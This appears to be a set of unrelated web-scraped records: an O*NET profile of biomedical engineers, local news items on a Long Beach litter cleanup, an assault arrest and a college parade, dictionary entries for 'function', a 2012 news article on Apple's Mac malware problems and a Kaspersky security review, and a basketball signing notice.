text:
Summary Report for:
17-2031.00 - Biomedical Engineers
Apply knowledge of engineering, biology, and biomechanical principles to the design, development, and evaluation of biological and health systems and products, such as artificial organs, prostheses, instrumentation, medical information systems, and health management and care delivery systems.
Sample of reported job titles: Biomedical Electronics Technician, Biomedical Engineer, Biomedical Engineering Director, Biomedical Engineering Technician, Biomedical Equipment Technician (BMET), Biomedical Manager, Biomedical Technician, Clinical Engineer, Professor, Research Engineer
Tasks | Technology Skills | Tools Used | Knowledge | Skills | Abilities | Work Activities | Detailed Work Activities | Work Context | Job Zone | Education | Credentials | Interests | Work Styles | Work Values | Related Occupations | Wages & Employment | Job Openings | Additional Information
- Conduct research, along with life scientists, chemists, and medical scientists, on the engineering aspects of the biological systems of humans and animals.
- Design and develop medical diagnostic and clinical instrumentation, equipment, and procedures, using the principles of engineering and biobehavioral sciences.
- Teach biomedical engineering or disseminate knowledge about the field through writing or consulting.
- Research new materials to be used for products, such as implanted artificial organs.
- Develop models or computer simulations of human biobehavioral systems to obtain data for measuring or controlling life processes.
- Adapt or design computer hardware or software for medical science uses.
- Diagnose and interpret bioelectric data, using signal processing techniques.
- Design and deliver technology to assist people with disabilities.
- Evaluate the safety, efficiency, and effectiveness of biomedical equipment.
- Manage teams of engineers by creating schedules, tracking inventory, creating and using budgets, and overseeing contract obligations and deadlines.
- Advise and assist in the application of instrumentation in clinical environments.
- Write documents describing protocols, policies, standards for use, maintenance, and repair of medical equipment.
Technology Skills
- Analytical or scientific software — Minitab ; Stratasys FDM MedModeler; Technis BETAPLUS; The MathWorks MATLAB (see all 46 examples)
- Charting software
- Compliance software — Equipment compliance testing software
- Computer aided design CAD software — Dassault Systems SOLIDWORKS; Mathsoft Mathcad; PTC Pro/ENGINEER Wildfire; Zuken (see all 10 examples)
- Computer aided manufacturing CAM software — Rapid prototyping software
- Configuration management software — IBM Rational ClearCase
- Data base reporting software — SAP BusinessObjects Crystal Reports
- Data base user interface and query software — Failure rate database software
- Development environment software — Advanced computer simulation language ACSL; C ; Hardware description language HDL; Microsoft Visual Basic (see all 7 examples)
- Enterprise application integration software — Extensible markup language XML ; Rapid application development RAD software
- Enterprise resource planning ERP software — ERP software
- Medical software — Electromyograph analysis software; Gait analysis software; Medical information software; Virtual instrument software (see all 7 examples)
- Object or component oriented development software — C++ ; R
- Office suite software — Microsoft Office
- Pattern design software — Diagramming software
- Presentation software — Microsoft PowerPoint
- Program testing software — Defect tracking software; System testing software
- Project management software — Microsoft Project ; Project estimation software
- Requirements analysis and system architecture software — IBM Rational RequisitePro; Requirements management software; Unified modeling language UML
- Spreadsheet software — Microsoft Excel
- Web platform development software — Hypertext markup language HTML ; JavaScript
- Word processing software — Microsoft Word
Hot Technology — a technology requirement frequently included in employer job postings.
Tools Used
- Accelerometers
- Acoustic sensors — Acoustic measurement systems
- Amplifiers — Bio-signal amplifiers; Radio frequency amplifiers
- Bacteria transformation kits — Bacteria-based biosensors; Rapid toxicity testing systems
- Benchtop centrifuges — Centrifuges
- Biometric identification equipment — Bio-sensors
- Camera based vision systems for automated data collection — Eye tracking devices
- Cardiac pacemaker generator or cardiac resynchronization therapy pacemaker CRT-P — Defibrillator testing devices; Pacemaker analyzers; Pacemaker testing devices
- Circuit tester — Circuit analyzers
- Compression testers — Material tension/compression testing devices
- Computed tomography CT or CAT radiotherapy simulators — Maskless photolithography equipment
- Deflecting devices — Deflectors
- Desktop computers
- Digital cameras — High-speed digital cameras
- Dissolved oxygen meters — Dissolved oxygen polarographic measurement devices
- Drug delivery system or accessories — Micropumps; Microvalves
- Dye sublimination printers — Sublimation printers
- Dynamometers
- Electro pneumatic transducers — Pressure transducers
- Electroencephalograph EEG or accessories — Electroencephalography EEG equipment
- Electrometers — Biomedical device electrical safety testers; Electrosurgery testing devices; Pressure and temperature measurement devices; Ventilator performance analyzers (see all 7 examples)
- Electromyography EMG units or accessories — Electromyographs EMG
- Electronic actuators — Motion actuators
- Electronic loads — Load sensors
- Endoscope maintenance units or accessories — Endovascular stent-graft testing instruments
- Fatigue testers — Cardiovascular prosthetic device testers; Material fatigue and dynamics characterization devices; Servopneumatic axial test instruments
- Flexure or transverse testing machines — Finger joint flexure testers; Multi-axis kinematic knee simulators; Spine simulators
- Flow injection analysis equipment — Flow control devices
- Fluorescent microscopes — Fluorescence microscopes
- Force or torque sensors — Strain gauge conditioners
- Forced air or mechanical convection general purpose incubators — Incubators
- Frequency calibrator or simulator — Bio-signal simulators
- Gas or vapour concentration measuring instruments — Gas flow control systems
- Glass injection moldings — Glass micromolds
- Hardness testers — Hardness testing devices
- Hemacytometer sets — Molecular cytosensors
- HEPA filtered enclosures — Biosafety cabinets
- Immunology or serology quality controls or calibrators or standards — Immuno-sensors
- Impact testers
- Inductively coupled plasma ICP spectrometers — Plasma excitation chambers
- Infrared spectrometers — Fourier transform infrared FTIR spectrometers
- Injection molding machines — Plastic injection molding machines
- Isolators
- Laboratory vacuum pumps — Molecular vacuum pumps
- Laser cutting machine — Laser ablation machines
- Magnetometers — Superconducting quantum interference devices SQUID
- Medical computed tomography CT or CAT scanners or tubes — Optical coherence tomography OCT scanners; Optical tomographic imaging scanners
- Medical magnetic resonance imaging MRI scanners — Biomagnetic imaging scanners; Functional magnetic resonance imaging fMRI scanners; Magnetic resonance imaging MRI systems; Ultra high speed magnetic resonance imaging MRI scanner machines (see all 5 examples)
- Medical positron emission tomography PET units — Positron emission tomography PET scanners
- Medical radiation dosimeters — Radiation compliance testing devices
- Medical single photon emission computed tomography SPECT units — Single photon emission computed tomography SPECT scanners
- Medical ultrasound or doppler or echo probes — Ultrasound indention probes
- Medical ultrasound or doppler or echo transducers or accessories — Ultrasound transducers
- Medical ultrasound or doppler or pulse echo or echography units for general diagnostic use — Ultrasonic testing apparatus; Ultrasound imaging scanners
- Medical x ray units for general diagnostic use — X ray machines
- Microcontrollers — Basic stamp microcontrollers
- Microplate readers
- Microplate washers
- Microplates — Microplating equipment
- Microscopic structure estimation apparatus — Microfluidic networks
- Milling machines
- Modulators — Acousto-optic modulators
- Multimeters
- Neuromuscular stimulators or kits — Grass stimulators
- Notebook computers — Laptop computers
- Oscilloscopes
- pH electrodes — Electrode bevelers; Electrode pullers; Electroplating apparatus; Microelectrodes
- Phase modulation circuit — Frequency shifters
- Physiological recorders — Activity monitoring devices; Polygraph recorders; Torsiometers; Two-point discriminators (see all 7 examples)
- Piezo electric crystals — Piezoelectric ceramic transducers; Piezoelectric sensors
- Plastic injection moldings — Micromolding lithography equipment
- Pneumatic actuators — Servopneumatic actuators
- Pressure indicators — Environmental conditions measurement devices; Force platforms; Pinch gauges; Posturographic measurement systems (see all 7 examples)
- Pressure sensors
- Proton spectrometers — Electrical particle detectors
- Pulse oximeter units — Pulse oximeters
- Q Meters — Quantum-based switching applications Q-switch electron waveguides
- Rapid amplification or complementary deoxyribonucleic acid ends RACE technology products — Polymerase chain reaction PCR equipment
- Robot machines — Biomimetic robots
- Scanning electron microscopes — Multi-photon microscopes
- Scanning probe microscopes — Scanning probe microscopes SPM
- Skinfold calipers
- Sonometers — Digital sonomicrometers
- Spectrofluorimeters or fluorimeters — Spectrofluorimeters
- Spectrophotometers — Optical particle detectors
- Spirometers or its accessories or its supplies — Spirometers
- Sterilization sets — Sterilization-in-place equipment
- Strain gauges
- Surface tension measuring instruments — Pulsating bubble surfactometers PBS
- Tension testers — Prosthetic limb testers
- Thickness measuring devices — Anthropometers
- Tissue culture apparatus — Soft materials in-vitro simulation system
- Tissue culture coated plates or dishes or inserts — Polymer matrices; Polymer scaffolds
- Tissue culture incubators — Bioreactors
- Transmission electron microscopes — Micromanipulation microrheology microscopes
- Treadmills — Physical conditioning treadmill exercisers
- Tweezers — Optical traps
- Viscosimeters — Cone-plate viscometers
- Wattmeters — Ultrasound wattmeters
- Wave generators — Arbitrary waveform generators
- Wear testers — Spinal disk implant wear testers
- X ray and fluoroscopy RF radiotherapy planning simulators — X ray lithography equipment
- Biology — Knowledge of plant and animal organisms, their tissues, cells, functions, interdependencies, and interactions with each other and the environment.
- Mathematics — Knowledge of arithmetic, algebra, geometry, calculus, statistics, and their applications.
- Engineering and Technology — Knowledge of the practical application of engineering science and technology. This includes applying principles, techniques, procedures, and equipment to the design and production of various goods and services.
- Physics — Knowledge and prediction of physical principles, laws, their interrelationships, and applications to understanding fluid, material, and atmospheric dynamics, and mechanical, electrical, atomic and sub- atomic structures and processes.
- English Language — Knowledge of the structure and content of the English language including the meaning and spelling of words, rules of composition, and grammar.
- Chemistry — Knowledge of the chemical composition, structure, and properties of substances and of the chemical processes and transformations that they undergo. This includes uses of chemicals and their interactions, danger signs, production techniques, and disposal methods.
- Computers and Electronics — Knowledge of circuit boards, processors, chips, electronic equipment, and computer hardware and software, including applications and programming.
- Design — Knowledge of design techniques, tools, and principles involved in production of precision technical plans, blueprints, drawings, and models.
- Medicine and Dentistry — Knowledge of the information and techniques needed to diagnose and treat human injuries, diseases, and deformities. This includes symptoms, treatment alternatives, drug properties and interactions, and preventive health-care measures.
- Critical Thinking — Using logic and reasoning to identify the strengths and weaknesses of alternative solutions, conclusions or approaches to problems.
- Science — Using scientific rules and methods to solve problems.
- Complex Problem Solving — Identifying complex problems and reviewing related information to develop and evaluate options and implement solutions.
- Judgment and Decision Making — Considering the relative costs and benefits of potential actions to choose the most appropriate one.
- Reading Comprehension — Understanding written sentences and paragraphs in work related documents.
- Active Listening — Giving full attention to what other people are saying, taking time to understand the points being made, asking questions as appropriate, and not interrupting at inappropriate times.
- Operations Analysis — Analyzing needs and product requirements to create a design.
- Speaking — Talking to others to convey information effectively.
- Mathematics — Using mathematics to solve problems.
- Systems Analysis — Determining how a system should work and how changes in conditions, operations, and the environment will affect outcomes.
- Active Learning — Understanding the implications of new information for both current and future problem-solving and decision-making.
- Monitoring — Monitoring/Assessing performance of yourself, other individuals, or organizations to make improvements or take corrective action.
- Systems Evaluation — Identifying measures or indicators of system performance and the actions needed to improve or correct performance, relative to the goals of the system.
- Writing — Communicating effectively in writing as appropriate for the needs of the audience.
- Technology Design — Generating or adapting equipment and technology to serve user needs.
- Learning Strategies — Selecting and using training/instructional methods and procedures appropriate for the situation when learning or teaching new things.
- Time Management — Managing one's own time and the time of others.
- Coordination — Adjusting actions in relation to others' actions.
- Instructing — Teaching others how to do something.
- Operation Monitoring — Watching gauges, dials, or other indicators to make sure a machine is working properly.
- Programming — Writing computer programs for various purposes.
- Quality Control Analysis — Conducting tests and inspections of products, services, or processes to evaluate quality or performance.
- Social Perceptiveness — Being aware of others' reactions and understanding why they react as they do.
- Persuasion — Persuading others to change their minds or behavior.
- Deductive Reasoning — The ability to apply general rules to specific problems to produce answers that make sense.
- Inductive Reasoning — The ability to combine pieces of information to form general rules or conclusions (includes finding a relationship among seemingly unrelated events).
- Near Vision — The ability to see details at close range (within a few feet of the observer).
- Problem Sensitivity — The ability to tell when something is wrong or is likely to go wrong. It does not involve solving the problem, only recognizing there is a problem.
- Written Comprehension — The ability to read and understand information and ideas presented in writing.
- Oral Comprehension — The ability to listen to and understand information and ideas presented through spoken words and sentences.
- Information Ordering — The ability to arrange things or actions in a certain order or pattern according to a specific rule or set of rules (e.g., patterns of numbers, letters, words, pictures, mathematical operations).
- Mathematical Reasoning — The ability to choose the right mathematical methods or formulas to solve a problem.
- Oral Expression — The ability to communicate information and ideas in speaking so others will understand.
- Written Expression — The ability to communicate information and ideas in writing so others will understand.
- Category Flexibility — The ability to generate or use different sets of rules for combining or grouping things in different ways.
- Originality — The ability to come up with unusual or clever ideas about a given topic or situation, or to develop creative ways to solve a problem.
- Flexibility of Closure — The ability to identify or detect a known pattern (a figure, object, word, or sound) that is hidden in other distracting material.
- Speech Recognition — The ability to identify and understand the speech of another person.
- Visualization — The ability to imagine how something will look after it is moved around or when its parts are moved or rearranged.
- Fluency of Ideas — The ability to come up with a number of ideas about a topic (the number of ideas is important, not their quality, correctness, or creativity).
- Number Facility — The ability to add, subtract, multiply, or divide quickly and correctly.
- Selective Attention — The ability to concentrate on a task over a period of time without being distracted.
- Speech Clarity — The ability to speak clearly so others can understand you.
- Finger Dexterity — The ability to make precisely coordinated movements of the fingers of one or both hands to grasp, manipulate, or assemble very small objects.
- Perceptual Speed — The ability to quickly and accurately compare similarities and differences among sets of letters, numbers, objects, pictures, or patterns. The things to be compared may be presented at the same time or one after the other. This ability also includes comparing a presented object with a remembered object.
- Far Vision — The ability to see details at a distance.
Work Activities
- Making Decisions and Solving Problems — Analyzing information and evaluating results to choose the best solution and solve problems.
- Analyzing Data or Information — Identifying the underlying principles, reasons, or facts of information by breaking down information or data into separate parts.
- Getting Information — Observing, receiving, and otherwise obtaining information from all relevant sources.
- Interacting With Computers — Using computers and computer systems (including hardware and software) to program, write software, set up functions, enter data, or process information.
- Thinking Creatively — Developing, designing, or creating new applications, ideas, relationships, systems, or products, including artistic contributions.
- Updating and Using Relevant Knowledge — Keeping up-to-date technically and applying new knowledge to your job.
- Communicating with Supervisors, Peers, or Subordinates — Providing information to supervisors, co-workers, and subordinates by telephone, in written form, e-mail, or in person.
- Identifying Objects, Actions, and Events — Identifying information by categorizing, estimating, recognizing differences or similarities, and detecting changes in circumstances or events.
- Processing Information — Compiling, coding, categorizing, calculating, tabulating, auditing, or verifying information or data.
- Organizing, Planning, and Prioritizing Work — Developing specific goals and plans to prioritize, organize, and accomplish your work.
- Documenting/Recording Information — Entering, transcribing, recording, storing, or maintaining information in written or electronic/magnetic form.
- Estimating the Quantifiable Characteristics of Products, Events, or Information — Estimating sizes, distances, and quantities; or determining time, costs, resources, or materials needed to perform a work activity.
- Guiding, Directing, and Motivating Subordinates — Providing guidance and direction to subordinates, including setting performance standards and monitoring performance.
- Communicating with Persons Outside Organization — Communicating with people outside the organization, representing the organization to customers, the public, government, and other external sources. This information can be exchanged in person, in writing, or by telephone or e-mail.
- Evaluating Information to Determine Compliance with Standards — Using relevant information and individual judgment to determine whether events or processes comply with laws, regulations, or standards.
- Interpreting the Meaning of Information for Others — Translating or explaining what information means and how it can be used.
- Monitor Processes, Materials, or Surroundings — Monitoring and reviewing information from materials, events, or the environment, to detect or assess problems.
- Provide Consultation and Advice to Others — Providing guidance and expert advice to management or other groups on technical, systems-, or process-related topics.
- Developing Objectives and Strategies — Establishing long-range objectives and specifying the strategies and actions to achieve them.
- Developing and Building Teams — Encouraging and building mutual trust, respect, and cooperation among team members.
- Judging the Qualities of Things, Services, or People — Assessing the value, importance, or quality of things or people.
- Training and Teaching Others — Identifying the educational needs of others, developing formal educational or training programs or classes, and teaching or instructing others.
- Coordinating the Work and Activities of Others — Getting members of a group to work together to accomplish tasks.
- Inspecting Equipment, Structures, or Material — Inspecting equipment, structures, or materials to identify the cause of errors or other problems or defects.
- Establishing and Maintaining Interpersonal Relationships — Developing constructive and cooperative working relationships with others, and maintaining them over time.
- Scheduling Work and Activities — Scheduling events, programs, and activities, as well as the work of others.
- Coaching and Developing Others — Identifying the developmental needs of others and coaching, mentoring, or otherwise helping others to improve their knowledge or skills.
- Drafting, Laying Out, and Specifying Technical Devices, Parts, and Equipment — Providing documentation, detailed instructions, drawings, or specifications to tell others about how devices, parts, equipment, or structures are to be fabricated, constructed, assembled, modified, maintained, or used.
- Monitoring and Controlling Resources — Monitoring and controlling resources and overseeing the spending of money.
Detailed Work Activities
- Research engineering aspects of biological or chemical processes.
- Design electronic or computer equipment or instrumentation.
- Create models of engineering designs or methods.
- Develop software or computer applications.
- Interpret design or operational test results.
- Evaluate characteristics of equipment or systems.
- Supervise engineering or other technical personnel.
- Advise customers on the use of products or services.
- Prepare procedural documents.
- Calibrate scientific or technical equipment.
- Install instrumentation or electronic equipment or systems.
- Analyze operational data to evaluate operations, processes or products.
- Maintain operational records or records systems.
- Train personnel on proper operational procedures.
- Design alternative energy systems.
Find occupations related to multiple detailed work activities
Work Context
- Electronic Mail — 95% responded "Every day."
- Indoors, Environmentally Controlled — 79% responded "Every day."
- Face-to-Face Discussions — 63% responded "Every day."
- Telephone — 53% responded "Every day."
- Duration of Typical Work Week — 65% responded "More than 40 hours."
- Work With Work Group or Team — 47% responded "Very important."
- Freedom to Make Decisions — 60% responded "Some freedom."
- Importance of Being Exact or Accurate — 60% responded "Very important."
- Structured versus Unstructured Work — 75% responded "Some freedom."
- Contact With Others — 40% responded "Contact with others most of the time."
- Spend Time Sitting — 70% responded "More than half the time."
- Level of Competition — 50% responded "Highly competitive."
- Impact of Decisions on Co-workers or Company Results — 50% responded "Important results."
- Letters and Memos — 53% responded "Once a week or more but not every day."
- Frequency of Decision Making — 32% responded "Once a month or more but not every week."
- Coordinate or Lead Others — 53% responded "Very important."
- Time Pressure — 40% responded "Once a week or more but not every day."
- Consequence of Error — 37% responded "Fairly serious."
- Public Speaking — 35% responded "Once a week or more but not every day."
- Responsibility for Outcomes and Results — 58% responded "Moderate responsibility."
Job Zone
|Job Zone Four: Considerable Preparation Needed
|Most of these occupations require a four-year bachelor's degree, but some do not.
|Related Experience
|A considerable amount of work-related skill, knowledge, or experience is needed for these occupations. For example, an accountant must complete four years of college and work for several years in accounting to be considered qualified.
|Job Training
|Employees in these occupations usually need several years of work-related experience, on-the-job training, and/or vocational training.
|Job Zone Examples
|Many of these occupations involve coordinating, supervising, managing, or training others. Examples include accountants, sales managers, database administrators, graphic designers, chemists, art directors, and cost estimators.
|SVP Range
|(7.0 to < 8.0)
Percentage of Respondents
|Education Level Required
|Bachelor's degree
|Master's degree
|Doctoral degree
Interest code: IR
- Investigative — Investigative occupations frequently involve working with ideas, and require an extensive amount of thinking. These occupations can involve searching for facts and figuring out problems mentally.
- Realistic — Realistic occupations frequently involve work activities that include practical, hands-on problems and solutions. They often deal with plants, animals, and real-world materials like wood, tools, and machinery. Many of the occupations require working outside, and do not involve a lot of paperwork or working closely with others.
Work Styles
- Integrity — Job requires being honest and ethical.
- Analytical Thinking — Job requires analyzing information and using logic to address work-related issues and problems.
- Attention to Detail — Job requires being careful about detail and thorough in completing work tasks.
- Dependability — Job requires being reliable, responsible, and dependable, and fulfilling obligations.
- Persistence — Job requires persistence in the face of obstacles.
- Initiative — Job requires a willingness to take on responsibilities and challenges.
- Innovation — Job requires creativity and alternative thinking to develop new ideas for and answers to work-related problems.
- Adaptability/Flexibility — Job requires being open to change (positive or negative) and to considerable variety in the workplace.
- Achievement/Effort — Job requires establishing and maintaining personally challenging achievement goals and exerting effort toward mastering tasks.
- Cooperation — Job requires being pleasant with others on the job and displaying a good-natured, cooperative attitude.
- Stress Tolerance — Job requires accepting criticism and dealing calmly and effectively with high stress situations.
- Leadership — Job requires a willingness to lead, take charge, and offer opinions and direction.
- Independence — Job requires developing one's own ways of doing things, guiding oneself with little or no supervision, and depending on oneself to get things done.
- Self Control — Job requires maintaining composure, keeping emotions in check, controlling anger, and avoiding aggressive behavior, even in very difficult situations.
Work Values
- Independence — Occupations that satisfy this work value allow employees to work on their own and make decisions. Corresponding needs are Creativity, Responsibility and Autonomy.
- Achievement — Occupations that satisfy this work value are results oriented and allow employees to use their strongest abilities, giving them a feeling of accomplishment. Corresponding needs are Ability Utilization and Achievement.
- Working Conditions — Occupations that satisfy this work value offer job security and good working conditions. Corresponding needs are Activity, Compensation, Independence, Security, Variety and Working Conditions.
Related Occupations
Wages & Employment Trends
|Median wages (2016)
|$41.16 hourly, $85,620 annual
|State wages
|Employment (2014)
|22,000 employees
|Projected growth (2014-2024)
|Much faster than average (14% or higher)
|Projected job openings (2014-2024)
|State trends
|Top industries (2014)
Source: Bureau of Labor Statistics 2016 wage data and 2014-2024 employment projections . "Projected growth" represents the estimated change in total employment over the projections period (2014-2024). "Projected job openings" represent openings due to growth and replacement.
Job Openings on the Web
Sources of Additional Information
Disclaimer: Sources are listed to provide additional information on related jobs, specialties, and/or industries. Links to non-DOL Internet sites are provided for your convenience and do not constitute an endorsement.
- Biomedical engineers . Bureau of Labor Statistics, U.S. Department of Labor. Occupational Outlook Handbook, 2016-17 Edition.
- Biomedical Engineering Society (BMES) , 8401 Corporate Dr., Suite 225, Landover, MD 20785-2224. Phone: (301) 459-1999. Fax: (301) 459-2444.
- IEEE Engineering in Medicine and Biology Society (IEEE EMBS) , 445 Hoes Ln., Piscataway, NJ 08855-1331. Phone: (732) 981-3433. Fax: (732) 465-6435.


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LONG BEACH - Every morning Stacey Morrison would take her dogs on their daily walk in the California Heights area.
She always enjoyed the outing in the crisp morning air with Schroeder, a border collie named, yes, after Charlie Brown's piano-playing friend, and Franklin, a Chihauhau mix named after another Peanuts character. It was a ritual many dog owners do every day.
But something different happened to Stacey on one of those days two years ago that changed her thinking about what to do about a common societal problem: littering.
"Instead of just looking at the litter I saw and walking by, I decided to start picking up the litter myself, and things then just kind of snowballed," she said.
Stacy, a freelance graphic designer, said she had been inspired by John Royce, president of the California Heights Neighborhood Association, who earlier had told her that too many people just complain about a problem and do nothing to solve it.
Stacey now is the unofficial queen of the Cal Heights Clean Streets program which has grown from two persons (Morrison and Royce) to a hardy band of residents who meet every Thursday morning in the EZ Lube parking lot at Atlantic Avenue and Wardlow Road to clean the commercial thoroughfares leading into Cal Heights and Bixby Knolls.
They put on their work gloves, and grab their pickup sticks and big, city-supplied trash bags. Many wear white T-shirts emblazoned with a comment made by a homeless man who saw the people filling their trash bags: "Things are really picking up around here." Hey, it's not that bad a pun.
Armed with their weapons in the fight against litter, the group awaits its marching orders from Stacey.
Last Thursday, a group of about 16 people, including 7th District Councilman James Johnson, were told their target area for that day was along both sides of Atlantic Avenue between Wardlow Road and the San Diego Freeway.
Off they went picking up cans, paper cups, cigarette butts and anything else littering the landscape. When they finished about two hours later, they had filled 16 bags that have a 40-pound capacity. They even discovered a pedal-driven child's truck apparently dumped in bushes along Atlantic.
Stacey says the volunteers do more than just pick up litter.
"We report code enforcement violations, illegal dumping and graffiti and work with the city however we can," she said.
She said Jill Hill, director of the city's Litter-Free Long Beach cleanup program, was a big help with the Cal Heights program.
The city has different programs to keep neighborhoods clean, Hill said. She gets angry talking about people who dump trash around the city.
"Some people just act like pigs," she said. "It's disgusting what some people do."
She said the best way to fight littering and dumping is not to do it in the first place.
"It's illegal and people should know that," she said. "If everyone followed the law, I'd be out of a job, but I would love that because the city would be so much cleaner."
It's doubtful that Hill will be out of a job soon. In the 12-month period from October 2010 through September 2011, 42 neighborhood cleanups were conducted with 1,255 volunteers collecting 184 tons of trash. On average the city collects another 200,000 tons of garbage and trash annually.
Stacey Morrison and her crew are working to add to what they pick up. They want to clean up the ramps to and from the San Diego Freeway south of Wardlow Road - work they had to stop because of CalTrans rules against pedestrians on freeways. Morrison and Royce said they are hopeful CalTrans will allow them to resume picking up litter in the ramp areas.
Meanwhile, Stacey continues her walks with Schroeder and Franklin looking for litter wherever she goes.
"This is a great way to keep your community clean," she said. "The sense of accomplishment is so satisfying. The residents are wonderful, and we have a great relationship with local businesses and government. It's a great example of how we can work together."
If you are interested in joining the Cal Heights Clean-up Crew, call Stacey Morrison at 562-274-3790 or John Royce at 562-997-9094. If you would like information on cleanup programs in the rest of the city, call Jill Hill at 562-570-2895.
email@example.com, 562-499-1285, or on Twitter at http://twitter.com/richarchbold1

subset: commoncrawl


text:
Man, 23, arrested after confronting ex-boss
Published: Saturday, February 9, 2013 at 8:20 p.m.
Last Modified: Saturday, February 9, 2013 at 8:20 p.m.
A 23-year-old Gainesville man was charged with simple assault Friday after police say he followed his ex-boss in a vehicle, forced him to stop and then approached him outside the vehicle in an aggressive manner.
Tyler Charles Holtz II, of 1619 SE Third Ave. in Gainesville, was driving a vehicle eastbound in the 800 block of West University Avenue and was behind a vehicle occupied by his ex-boss when, according to a Gainesville police lieutenant who witnessed the incident, Holtz pulled up next to the ex-boss' vehicle and flashed a flashlight at the man. Holtz then sped up, pulled in front of the victim's car and applied his brakes, forcing the victim to stop.
The officer who happened to witness the confrontation, GPD Lt. Bruce Giles, said Holtz then exited his car and approached his ex-boss "in an aggressive manner."
The victim told police that he has known Holtz for a few years and has employed him as a drywall technician until just a few days ago, at which point he fired Holtz.
Police said Holtz later admitted to following his ex-boss and speeding around him to stop him. Holtz told police that he wanted to confront his ex-boss over a debt owed from a previous job.
Holtz told police he was not going to fight his ex-boss but understood the victim was fearful considering Holtz's aggression.
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More than two dozen Mount Saint Mary College faculty, staff,
alumni and friends recently hit the streets in the 253rd New York
City St. Patrick's Day Parade.
Mount marchers wore black slacks and shoes, and green parade
sashes emblazoned with "Mount Saint Mary College."
The Mount was awarded second place by parade organizers in 2012
for "outstanding performance and participation."
Mount Saint Mary College, located 60 miles north of New York
City, is ranked a Top-Tier Regional University by U.S. News &
World Report, and offers bachelor's and master's degree programs
preparing students for careers in healthcare, business, education,
social services, communication/media and more.
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Openness might be a function of sexuality and gender, as well.
I saw vivid pictures of organ systems neatly packed into organisms to meet their function.
When the news of the Penn State tragedy broke, I was almost unable to function.
And Romney as Remainderman is not a function of mere circumstance, but an artifact of explicit calculation.
The function of a market is let us learn who will serve us sufficiently well.
As to finding a function for you in society, there was no hesitation as to what that would be.
No mention is made anywhere of any function of a priest in connection with it.
The same variety of function is acquired by the ear in its development from its simplest to its most complex form.
There is no reference to any religious blessing or other function of the clergy.
At this point we begin to see just what is the function of Homer who has inherited a vast mass of poetic material.
1530s, "proper work or purpose," from Middle French fonction (16c.) and directly from Latin functionem (nominative functio) "performance, execution," noun of action from functus, past participle of fungi "perform, execute, discharge," from PIE root *bheug- (2) "to use, enjoy" (see brook (v.)). Use in mathematics probably begun by Leibnitz (1692).
1856, from function (n.). Related: Functioned; functioning.
function func·tion (fŭngk'shən)
The physiological property or the special action of an organ or a body part.
Something closely related to another thing and dependent on it for its existence, value, or significance, such as growth resulting from nutrition.
A mathematical variable so related to another that for each value assumed by one there is a value determined for the other.
A rule of correspondence between two sets such that there is a unique element in the second set assigned to each element in the first set.
The general properties of a substance, depending on its chemical character and relation to other substances, that provide the basis upon which it may be grouped as among acids or bases.
A particular reactive grouping in a molecule.
In mathematics, a quantity whose value is determined by the value of some other quantity. For example, "The yield of this field is a function of the amount of fertilizer applied" means that a given amount of fertilizer will yield an amount of whatever crop is growing.


text:
Submit News
Report: Apple Turns to Top Critic for Help With Malware Woes
Jason Mick
May 14, 2012 4:37 PM
Recipient E-mail
Sender E-mail
Looks like "PC" isn't the only one to have malware woes.
(Source: Apple)
Kaspersky recently published an analysis indicating that the Cupertino company was ten years behind Microsoft
Things haven't been pretty for Apple, Inc. (
) of late as its seen a number of high-profile security embarassments surrounding its Mac personal computers. Most recently OS X 10.7.2 Lion was caught
dumping passwords in plaintext
, thanks to some sloppy programming by an Apple engineer. Before that, Apple suffered a
Trojan infection
Conficker proportions
(between 1 and 2 percent of Macs -- or
roughly 600,000 machines
were estimated to be infected) and was caught telling its technicians to
lie about another wide-spread piece of malware
, a fake antivirus program
dubbed "MacDefender"
I. Kaspersky Recruited to Remedy Woeful OS X Security
Famed OS X hacker
Charlie Miller
once told a security blog
, "Mac OS X is like living in a farmhouse in the country with no locks, and Windows is living in a house with bars on the windows in the bad part of town."
Today the developer -- who Apple recently
gave the boot from its developer program
for revealing it flawed security -- has a softer perspective on the topic, stating to Kaspersky's threat post
, "
It's always been the easiest to exploit and now it's to the point that it's not that easy anymore. OS X has always been way behind on security, but now it's more or less comparable [to Windows]. Once you have ASLR and DEP and some sandboxing, that's all anyone has.
Still that wasn't enough to keep Kaspersky from delivering a scathing perspective on Apple's security, which it estimates to be a
full decade behind Microsoft
Corp. (
In the aftermath of that assessment, Kaspersky's chief technology officer,
Nikolai Grebennikov has been
in a
interview as saying that Apple has approached it desparate for security support. The top security firm reportedly agreed and is in the midst of a likely lucrative assessment of the OS X code-base.
Kaspersky's criticism and Mr. Miller's praise may at first seem oddly divergent commentaries. But in reality much of Apple's recent security flaws have come down to its insistence on redistributing third-party updates, coupled with a handful of careless programming errors. Apple does not allow third-parties like Oracle Corp. (
) the ability to directly patch their Mac OS platforms, such as Java. While Apple views this as a security "feature" it has become more of a nightmare of late, as Macs are being exploited via gaping Java or Flash holes that were long ago patched in Windows.
Not surprisingly, Mr. Grebennikov indicates that much of Kaspersky's early advice to Apple revolves around letting third parties update their own platforms -- or at least
assume a more responsible pace
of mandatory updates. Comments the security chief:
Mac OS is really vulnerable and Apple recently invited us to improve its security. We've begun an analysis of its vulnerabilities, and the malware targeting it.
Our first investigations show Apple doesn't pay enough attention to security. For example, Oracle closed a vulnerability in Java, which was a target for a major botnet several months ago.
Apple blocked Oracle from updating Java on Mac OS, and they perform all the updates themselves. They only released the patch a few weeks ago – two or three months after the Oracle patch. That's far too long.
II. iOS Malware Expected to Soon Become Serious
Kaspersky indicates that Apple was fortunate to seek help when it did. Mr. Grebennikov estimates that malware will soon be targeting Apple's coveted iOS platform, which shares much in the way of security -- or lack thereof -- with OS X. He comments, "Our experience tells us that in the near future, perhaps in a year or so, we will see the first malware targeting iOS."
Thus far a
couple of harmless Trojans and worms
have struck iOS, but have almost exclusively
attacked users of jailbroken iPhones or iPads
. Apple does not care about these infections as it does not consider jailbroken device users to be part of its user base. Jailbreaking, or removing Apple's control over what apps can be run, voids users' warranties.
Kaspersky expects malicious hackers to target Apple's iOS mobile platform.
[Image Source: Toru Yamanaka/AFP/Getty Images]
Apple has long maintained an
arrogant air from a marketing perspective
, claiming its machines were impervious to malware or hacking, while portraying machines running Microsoft Windows operating system as "buggy" and "virus prone". The company is surely eager to prevent the public from wising up to the reality that it may actually be well
Microsoft in terms of system security.
"People Don't Respect Confidentiality in This Industry" -- Sony Computer Entertainment of America President and CEO Jack Tretton
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text:
Sparta's Schannel Giraud joining V-Hawks
SPARTA, Wis. - Another great local hoops player has decided to play at a local college.
At a signing ceremony Tuesday morning in Sparta, senior guard Schannel Giraud signed her letter of intent to play at Viterbo.
